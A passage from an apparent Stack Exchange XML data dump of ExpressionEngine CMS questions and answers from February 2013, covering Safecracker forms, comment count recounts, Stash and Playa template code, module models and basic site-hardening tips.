LastActivityDate="2013-12-08T22:21:09.737" Title="Postmaster, preventing further emails after the initial status change" Tags="|email|postmaster|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6727" PostTypeId="1" CreationDate="2013-02-25T19:32:00.897" Score="4" ViewCount="322" Body="&lt;p&gt;I'm working on a project where new members will create a channel entry using Safecracker. I have something in place but have decided I'd like to break the form up into multiple pages to better walk them through things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this post at Ellislab forums, &lt;a href=&quot;http://ellislab.com/forums/viewthread/166104/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/166104/&lt;/a&gt;, and it looks to be workable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is create pages with 4-5 fields each, and have the form saved when moving to the next page, where they'd just edit the next set of fields, through to the last page where the form is saved again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, this means that I can link back to a page if they need to redo something and they would just be re-editing those fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I off-base on this? I haven't set up Safecracker this way before.&lt;/p&gt;&#xA;" OwnerUserId="515" LastActivityDate="2013-02-25T21:00:07.353" Title="Multi-page Safecracker forms" Tags="|safecracker|forms|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6728" PostTypeId="2" ParentId="6727" CreationDate="2013-02-25T19:47:39.800" Score="4" Body="&lt;p&gt;According to the docs the &lt;code&gt;ENTRY_ID&lt;/code&gt; constant still exists and is what Rob is referring to in &lt;a href=&quot;http://ellislab.com/forums/viewthread/166104/#795010&quot; rel=&quot;nofollow&quot;&gt;his reply&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#return&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#return&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not positive though, one thing you may need to watch out for is required custom fields on the EE (and Safecraker) side of things. You could implement something on the frontend ala html5 and one of the jQuery form plugins instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, my answer would be to just try it :)&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-02-25T19:56:17.483" LastActivityDate="2013-02-25T19:56:17.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6729" PostTypeId="2" ParentId="6695" CreationDate="2013-02-25T20:16:48.817" Score="1" Body="&lt;p&gt;The problem was found by the client when he tried to login to mailchimp. Their system warned him that his SYSTEM CLOCK was set into the future. After adjusting this all problems disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So not to self: in case of strange login behavior check the system clock and date.&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-02-25T20:16:48.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6730" PostTypeId="2" ParentId="6727" CreationDate="2013-02-25T21:00:07.353" Score="1" Body="&lt;p&gt;As an alternative, you might want to try something like what I set up on &lt;a href=&quot;http://www.destinationcolorado.com/submit-rfp&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this form&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a multi-step form process without having to split the form over multiple pages. Sections are shown or hidden with jQuery.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-25T21:00:07.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6731" PostTypeId="2" ParentId="6139" CreationDate="2013-02-25T23:00:05.613" Score="1" Body="&lt;p&gt;My custom fields were named as &lt;code&gt;_x&lt;/code&gt; with underscores:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{attachment}&lt;/code&gt;, &lt;code&gt;{attachment_2}&lt;/code&gt;, &lt;code&gt;{attachment_3}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the underscores fixed the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{attachment}&lt;/code&gt;, &lt;code&gt;{attachment2}&lt;/code&gt;, &lt;code&gt;{attachment3}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was verified by EllisLab as a bug and a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19231&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; has been filed.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-02-25T23:00:05.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6732" PostTypeId="1" AcceptedAnswerId="6735" CreationDate="2013-02-25T23:29:58.443" Score="3" ViewCount="164" Body="&lt;p&gt;I just updated a site from EE1 to EE2 that had pretty much nothing but spam comments. I deleted all the comments with a query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM exp_comments WHERE status = 'o';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on the blog listing page, the &lt;code&gt;{comment_total}&lt;/code&gt; tag is still showing that comments exist. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='blog/post'}&quot;&amp;gt;{comment_total} Comment(s) &amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4 Comments &amp;raquo;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Even though there are no comments in the database for that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also went into the &lt;code&gt;exp_channels&lt;/code&gt; table and set the &lt;code&gt;total_comments&lt;/code&gt; column to 0 for the blog channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I upgraded from EE1 to 2, I opted to convert trackbacks to comments, could that be what's causing the phantom comments? There's no &lt;code&gt;exp_trackbacks&lt;/code&gt; table anymore, so I'm not sure where they might be hiding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess ultimately what I need to know is where does EE get its &lt;code&gt;comment_total&lt;/code&gt; count from?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-02-26T02:37:10.313" Title="{comment_total} Counts Remain After Deleting Comments" Tags="|upgrade|comments|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6733" PostTypeId="2" ParentId="6713" CreationDate="2013-02-25T23:43:19.257" Score="2" Body="&lt;p&gt;As long as you don't have 2 environments on the same domain, I believe you can override the main &lt;code&gt;$base_url&lt;/code&gt; and &lt;code&gt;$base_path&lt;/code&gt; variables separately in each environment config file. So, for example, in &lt;code&gt;config/config.dev.php&lt;/code&gt;, you'd put this after the &lt;code&gt;$env_db&lt;/code&gt; variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_url   = $protocol . $_SERVER['HTTP_HOST'] . '/test';&#xA;$base_path  = $_SERVER['DOCUMENT_ROOT'] . '/test/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it loads &lt;code&gt;config/config.master.php&lt;/code&gt; with the default variables, then it loads &lt;code&gt;config.dev.php&lt;/code&gt; and updates the base path variables to point to your subdirectory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this though, just an educated guess.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-02-25T23:43:19.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6734" PostTypeId="2" ParentId="6684" CreationDate="2013-02-25T23:54:55.037" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot;&gt;Hacksaw&lt;/a&gt; is also a great plugin for that. It has a few more options than Snippet, like the ability to omit HTML tags and more refined cutoff parameters.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-02-25T23:54:55.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6735" PostTypeId="2" ParentId="6732" CreationDate="2013-02-26T02:04:54.813" Score="4" Body="&lt;p&gt;Have you tried CP &gt; Tools &gt; Data &gt; Recount Statistics?&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-02-26T02:04:54.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6736" PostTypeId="2" ParentId="6732" CreationDate="2013-02-26T02:25:34.983" Score="1" Body="&lt;p&gt;It's possible the page is cached so it's worth &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/clear_cached_data_files.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;clearing the cache&lt;/strong&gt;&lt;/a&gt; to eliminate that as the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CP Location:&lt;/strong&gt; Tools ‣ Data ‣ Clear Caching&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-26T02:25:34.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6737" PostTypeId="2" ParentId="6732" CreationDate="2013-02-26T02:37:10.313" Score="2" Body="&lt;p&gt;Total comments are actually stored in the &lt;code&gt;exp_channel_titles&lt;/code&gt; data table, so you would either need to use the &lt;code&gt;Recount Statistics&lt;/code&gt; Tool, as @Ryan Masuga suggested or set the &lt;code&gt;comment_total&lt;/code&gt; field in &lt;code&gt;exp_channel_titles&lt;/code&gt; equal to zero, using a MySQL query. The &lt;strong&gt;Recount Statistics&lt;/strong&gt; tool is the easiest method, unless you don't want all comment numbers to be reset.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-26T02:37:10.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6738" PostTypeId="2" ParentId="6684" CreationDate="2013-02-26T02:44:57.653" Score="2" Body="&lt;p&gt;You can also just use the 'Word Limiter' plugin by Rick Ellis of Ellis Labs. I believe it comes with the basic install.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:word_limit total=&quot;50&quot;}{audio_summary}{/exp:word_limit} &amp;amp;hellip;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I frequently use with a 'strip HTML tags' plugin, to do this. Personally, I like when people write an actually summary, but there's plenty of time when the first 25, 50, or 100 words is just fine as a teaser.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-26T02:44:57.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6739" PostTypeId="1" CreationDate="2013-02-26T03:24:31.827" Score="2" ViewCount="61" Body="&lt;p&gt;I'm currently forced to do this to get a disc path that I can send to CE Image for resizing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{product_carousel_images limit='1'}{slide_image}{rel_path}{/slide_image}{/product_carousel_images}&quot; width=&quot;320&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I though there was a way to do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:ce_img:single src=&quot;{product_carousel_images limit='1'}{slide_image:rel_path}{/product_carousel_images}&quot; width=&quot;320&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that does not seem to work. It'd be even better if I could do something this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{product_carousel_images:1:slide_image:rel_path}&quot; width=&quot;320&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that is a different problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For various reasons using remote images is not an option for us - we use a BasicAuth on all of our sites during development, and it a hit to performance to load massive images over HTTP then re-cache them, when they can easily be loaded from local disc.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-02-26T03:24:31.827" Title="Getting disc path to a Matrix File without using a tag pair" Tags="|ee2|matrix|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6740" PostTypeId="1" CreationDate="2013-02-26T03:58:05.223" Score="3" ViewCount="613" Body="&lt;p&gt;I am trying to pull a listing of custom channel fields in my module and am refactoring to use EE models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('field_model');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that didn't set $this-&gt;EE-&gt;field_model... as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to use EE models in my module?&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2015-02-11T16:24:12.643" Title="Load ExpressionEngine model in Module" Tags="|add-on-development|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6741" PostTypeId="2" ParentId="6665" CreationDate="2013-02-26T04:18:49.307" Score="1" Body="&lt;p&gt;You can sift through the database and check the member group permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*exp_member_groups* will store general access settings per site.&#xA;*exp_channel_member_groups* stores a relationship to each channel and member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is you'll find something goofed up in the member_groups table.&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-02-26T04:18:49.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6742" PostTypeId="2" ParentId="6740" CreationDate="2013-02-26T04:39:50.443" Score="1" Body="&lt;p&gt;Looks like it works inside of my module's models BUT in a &quot;Controller (mcp)&quot; $this-&gt;EE-&gt;field_model doesn't seem to be accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply use the following in the model instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;load-&amp;gt;model('field_model');&#xA;$this-&amp;gt;field_model...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastEditorUserId="565" LastEditDate="2013-02-26T15:48:55.653" LastActivityDate="2013-02-26T15:48:55.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6743" PostTypeId="2" ParentId="6726" CreationDate="2013-02-26T05:22:44.043" Score="1" Body="&lt;p&gt;Thanks for purchasing Postmaster, and glad you like it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple of questions to ask yourself:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What trigger do you want to use? &lt;/li&gt;&#xA;&lt;li&gt;Perhaps we can use the logged_in_group_id variable in some fashion in the extra conditionals?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So one way would be to use the logged_in_group_id variable and say if Admins or member group X edit the post, the email will not get send. So in theory, it could look like this in the extra conditional fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if parcel:logged_in_group_id == 1}FALSE{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just tested this and it doesn't work currently, but out of sheer curiosity I modified the code and added it real quick to the parcel and hook parsing routines. So if you think this method would work for you, just let me know. If not, I have a nice place to add more variables should you need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email support[at]objectivehtml.com if you want the latest code. I won't have a chance to release for several more weeks.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-02-26T05:22:44.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6744" PostTypeId="2" ParentId="6711" CreationDate="2013-02-26T05:54:14.710" Score="2" Body="&lt;p&gt;I believe what you're looking for is different access permissions for the same bucket. If that's correct, you might want to take a look at the &lt;a href=&quot;http://aws.amazon.com/iam/&quot; rel=&quot;nofollow&quot;&gt;AWS Identity and Access Management (IAM)&lt;/a&gt;. I've never used it but it does appear to offer what you're after.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, with Backup Pro, you can't actually see anything on S3 from within the module so there's no security issue there. The only files that get displayed are those that are mirrored locally on the server. &amp;lt;/shameless&amp;gt;&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-02-26T05:54:14.710" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6746" PostTypeId="2" ParentId="6716" CreationDate="2013-02-26T08:03:59.353" Score="1" Body="&lt;p&gt;That specific example isn't possible, but you can get pretty close, despite not being able to account for the quasi-relationship between category groups you've defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Low Search, you can do the equivalent of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM entries&#xA;WHERE keyword = 'foo'&#xA;AND (product_cat = 'shirt' OR product_cat = 'hat')&#xA;AND (collection_cat = 'blue' OR collection_cat = 'on sale')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..which is the same as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM entries&#xA;WHERE keyword = 'foo'&#xA;AND product_cat IN ('shirt', 'hat')&#xA;AND collection_cat IN ('blue', 'on sale')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...thus also searching for hats on sale.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-26T08:03:59.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6747" PostTypeId="2" ParentId="6223" CreationDate="2013-02-26T08:22:35.327" Score="0" Body="&lt;p&gt;When you folks recommend inserting an &quot;if logged_out&quot; or &quot;if logged_in&quot; check in the forum index template, which template do you mean? The forum templates do not accept EE tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also trying to accomplish the same thing — have the forum invisible to logged out members, even if they have the URL — so any guidance would be great. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2013-02-26T08:22:35.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6748" PostTypeId="2" ParentId="6696" CreationDate="2013-02-26T09:00:15.687" Score="0" Body="&lt;p&gt;I like to have as little in the webroot as is humanly possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i always have the system folder above webroot, and i always rename the admin.php file to something random that obviously the client will have to know as it is their only route in to the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, those things aside, it is equally as important to make sure that you only use third party add-ons from trusted developers as a poorly written add-on will make all your hard work for nothing if someone can just attack you via the front controller anyway by exploiting a bad add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as that, make sure your file permissions are locked down, your php version is kept up to date (i don't mean use php 5.5 or whatever, but just the latest php 5.3.x at the moment) and your server is locked down with a firewall if possible. These things will offer greater protection from nefarious types than just moving and renaming your system folder.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-02-26T09:00:15.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6749" PostTypeId="1" AcceptedAnswerId="6767" CreationDate="2013-02-26T11:43:53.513" Score="3" ViewCount="264" Body="&lt;p&gt;I'm using the Table class to render a table in my module and I want the user to be able to sort by clicking on column headers. I'm following the docs &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/table.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but when I use &lt;code&gt;set_columns&lt;/code&gt; and &lt;code&gt;set_data&lt;/code&gt; I get an error from &lt;code&gt;libraries/EE_Table.php&lt;/code&gt; stating that &lt;code&gt;EE::$cp&lt;/code&gt; is not defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it not possible to do sortable tables in the front-end? From the error, I guess it is only possible in the control panel.&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-02-26T21:17:51.190" Title="Sorting a table in the front-end" Tags="|add-on-development|table|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6750" PostTypeId="1" AcceptedAnswerId="6752" CreationDate="2013-02-26T13:26:56.027" Score="0" ViewCount="168" Body="&lt;p&gt;I'm trying to extract from a list of products in the cart the (playa) related entries (i want the entry_id's), put them into stash and then i need to use those id's somewhere else to build a &quot;related products&quot; type thing. But as the products in the cart could have the same related entries, i need to make the list it spits out unique. Oh, and there are two playa fields i need to get data from that both have related products but from two different product channels!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first we have the setting of the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Get the current items in the basket --}&#xA;{exp:cartthrob:cart_items_info}&#xA;{!-- Check the products we're getting the info from are in the channel that actually has the related product fields --}&#xA;{if channel_id == 7}&#xA;    {!-- Channel entry loop to get the product data out from the id's the cart_items_info has given us --}&#xA;    {exp:channel:entries channel=&quot;events&quot; entry_id=&quot;{entry_id}&quot; dynamic=&quot;off&quot;}&#xA;    {!-- First playa related products field--}&#xA;        {product_sub_product}&#xA;    {!-- Stash using unique name the list of entry_id's from playa --}&#xA;            {exp:stash:set_list name=&quot;sub_prods&quot; parse_tags=&quot;yes&quot;}&#xA;    {!-- Stash set name as item_id --}&#xA;                {stash:item_id}&#xA;                    {entry_id}&#xA;                {/stash:item_id}&#xA;            {/exp:stash:set_list}&#xA;        {/product_sub_product}&#xA;    {!-- Second playa related products field--}&#xA;    {product_related_races}&#xA;    {!-- Stash using unique name the list of entry_id's from playa --}&#xA;        {exp:stash:set_list name=&quot;rel_races&quot; parse_tags=&quot;yes&quot;}&#xA;    {!-- Stash set name as item_id --}&#xA;            {stash:item_id}&#xA;                {entry_id}&#xA;            {/stash:item_id}&#xA;        {/exp:stash:set_list}&#xA;    {/product_related_races}&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;{/exp:cartthrob:cart_items_info}&#xA;{!-- End of current items in the basket --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then we have the getting of the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Get the data out from both sets --}&#xA;{exp:stash:get_list name=&quot;sub_prods&quot; unique=&quot;yes&quot;}&#xA;    prods - {item_id}&amp;lt;br /&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:get_list name=&quot;rel_races&quot; unique=&quot;yes&quot;}&#xA;    races - {item_id}&amp;lt;br /&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's odd, is that i can see the data in the database so it is all working as expected. But stash get_list is not outputting the data.&lt;/p&gt;&#xA;" OwnerUserId="42" LastEditorUserId="42" LastEditDate="2013-02-26T13:45:14.880" LastActivityDate="2013-02-26T13:46:28.757" Title="Stash set_list not working as expected when used with playa, not outputting data" Tags="|cartthrob|playa|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6751" PostTypeId="1" CreationDate="2013-02-26T13:36:20.290" Score="1" ViewCount="47" Body="&lt;p&gt;I am trying to navigate to my Field Types area in the admin and I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website encountered an error while retrieving &lt;a href=&quot;http://development.pixelsandcode.co.uk/pixels/index.php?S=16d12918ee792c9a1d8491483dea63565199f9fc&amp;amp;D=cp&amp;amp;C=addons_fieldtypes&quot; rel=&quot;nofollow&quot;&gt;http://development.pixelsandcode.co.uk/pixels/index.php?S=16d12918ee792c9a1d8491483dea63565199f9fc&amp;amp;D=cp&amp;amp;C=addons_fieldtypes&lt;/a&gt;. It may be down for maintenance or configured incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've removed all the add-ons I added post installation, but I am still getting the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm kind of new to EE, so any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="28" LastEditDate="2013-02-26T17:35:26.073" LastActivityDate="2013-02-26T17:35:26.073" Title="Server Error on Field Types" Tags="|extension|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6752" PostTypeId="2" ParentId="6750" CreationDate="2013-02-26T13:46:28.757" Score="1" Body="&lt;p&gt;Grab the related entry ids in one go like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Get the current items in the basket --}&#xA;{exp:cartthrob:cart_items_info}&#xA;{!-- Check the products we're getting the info from are in the channel that actually has the related product fields --}&#xA;{if channel_id == 7}&#xA;    {!-- Channel entry loop to get the product data out from the id's the cart_items_info has given us --}&#xA;    {exp:channel:entries channel=&quot;events&quot; entry_id=&quot;{entry_id}&quot; dynamic=&quot;off&quot;}&#xA;&#xA;        {!-- Capture a list of entry_ids from the various playa fields --}&#xA;        {exp:stash:set_list name=&quot;related_prods&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;            {!-- First playa related products field--}&#xA;            {product_sub_product}&#xA;                {stash:item_id}{entry_id}{/stash:item_id}&#xA;                {stash:item_type}sub{/stash:item_type}&#xA;            {/product_sub_product}&#xA;&#xA;            {!-- Second playa related products field--}&#xA;            {product_related_races}&#xA;                {stash:item_id}{entry_id}{/stash:item_id}&#xA;                {stash:item_type}related{/stash:item_type}   &#xA;            {/product_related_races}&#xA;&#xA;        {/exp:stash:set_list}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;{/exp:cartthrob:cart_items_info}&#xA;{!-- End of current items in the basket --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use like this to get only unique entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;related_prods&quot; unique=&quot;yes&quot;}&#xA;    {item_id}&amp;lt;br /&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or just the 'sub' type of entry ids:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;related_prods&quot; match=&quot;#^sub$#&quot; against=&quot;item_type&quot;}&#xA;    {item_id}&amp;lt;br /&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-02-26T13:46:28.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6753" PostTypeId="1" AcceptedAnswerId="6780" CreationDate="2013-02-26T13:53:43.387" Score="1" ViewCount="136" Body="&lt;p&gt;I currently use a mixture of Freemember &amp;amp; User to create my customised profile/account pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The urls for these types of pages are things like &lt;code&gt;member/profile/{member_id}/favourites&lt;/code&gt; or &lt;code&gt;member/profile/{member_id}/bookmarks&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where segment 3 is always the member ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if its possible to change segment 3 to use the members username rather than the member ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will make for nicer more personalised urls, but I'm not sure if there's a downside or if it even would work?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-27T02:50:14.023" Title="Changing member ID in urls to username?" Tags="|members|freemember|solspace-user|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6754" PostTypeId="1" CreationDate="2013-02-26T14:45:55.400" Score="1" ViewCount="235" Body="&lt;p&gt;I am going to be using a safecracker form with zoo-visitor to create membership profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have a field where you choose 1,2,or 3 and if you choose 1 the next field gives you options in a multi select list for 1a if you choose 2, you choose from a list 2a and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything built in I could use or does it require some custom ajax or is a multi page form the best option?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-02-26T14:52:05.757" Title="dynamic multi select options in safecracker form" Tags="|members|zoo-visitor|safecracker-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6755" PostTypeId="2" ParentId="6754" CreationDate="2013-02-26T14:52:05.757" Score="3" Body="&lt;p&gt;There isn't anything built in, but not too long ago John Henry Donovan did a little write-up on implementing something similar with jquery plugins that might help you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://johnhenry.ie/articles/chained-selects-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://johnhenry.ie/articles/chained-selects-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-02-26T14:52:05.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
